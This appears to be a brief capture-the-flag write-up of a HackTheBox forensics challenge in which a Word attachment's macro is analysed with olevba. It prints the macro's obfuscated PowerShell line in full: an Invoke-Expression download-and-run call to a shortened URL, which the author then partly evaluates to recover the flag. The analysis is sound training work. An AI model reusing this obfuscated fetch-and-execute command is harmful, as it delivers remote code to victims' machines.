Lure

Platform: HackTheBox | Category: Forensics | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

The finance team received an important looking email containing an attached Word document. Can you take a look and confirm if it's malicious?

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. First, unzip the .zip file given.

2. Based from the description, we shall use olevba to extract any malicious macros.

3. Notice there's an encoded powershell command.

4. Let's try with base64 first.

pOwErshElL $(-jOiN(($PshOMe[4]),("$PsHoME")[+15],"x");)(iwr $(("{5}{25}{8}{7}{0}{14}{3}{21}{2}{22}{15}{16}{31}{28}{11}{26}{17}{23}{27}{29}{10}{1}{6}{24}{30}{18}{13}{19}{12}{9}{20}{4}"-f "B","U","4","B","%7D","ht","R_d","//ow.ly/HT","p:","T","0","_","N","M","%7","E","f","1T","u","e","5","k","R","h","0","t","w","_","l","Y","C","U")))

1. Hmm.. I think we should run this at powershell (?)
2. But let's paste only this strings:

$(("{5}{25}{8}{7}{0}{14}{3}{21}{2}{22}{15}{16}{31}{28}{11}{26}{17}{23}{27}{29}{10}{1}{6}{24}{30}{18}{13}{19}{12}{9}{20}{4}"-f "B","U","4","B","%7D","ht","R_d","//ow.ly/HT","p:","T","0","_","N","M","%7","E","f","1T","u","e","5","k","R","h","0","t","w","_","l","Y","C","U"))

1. Then enter.

2. Got the flag! But paste it on cyberchef and choose decode URL.

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.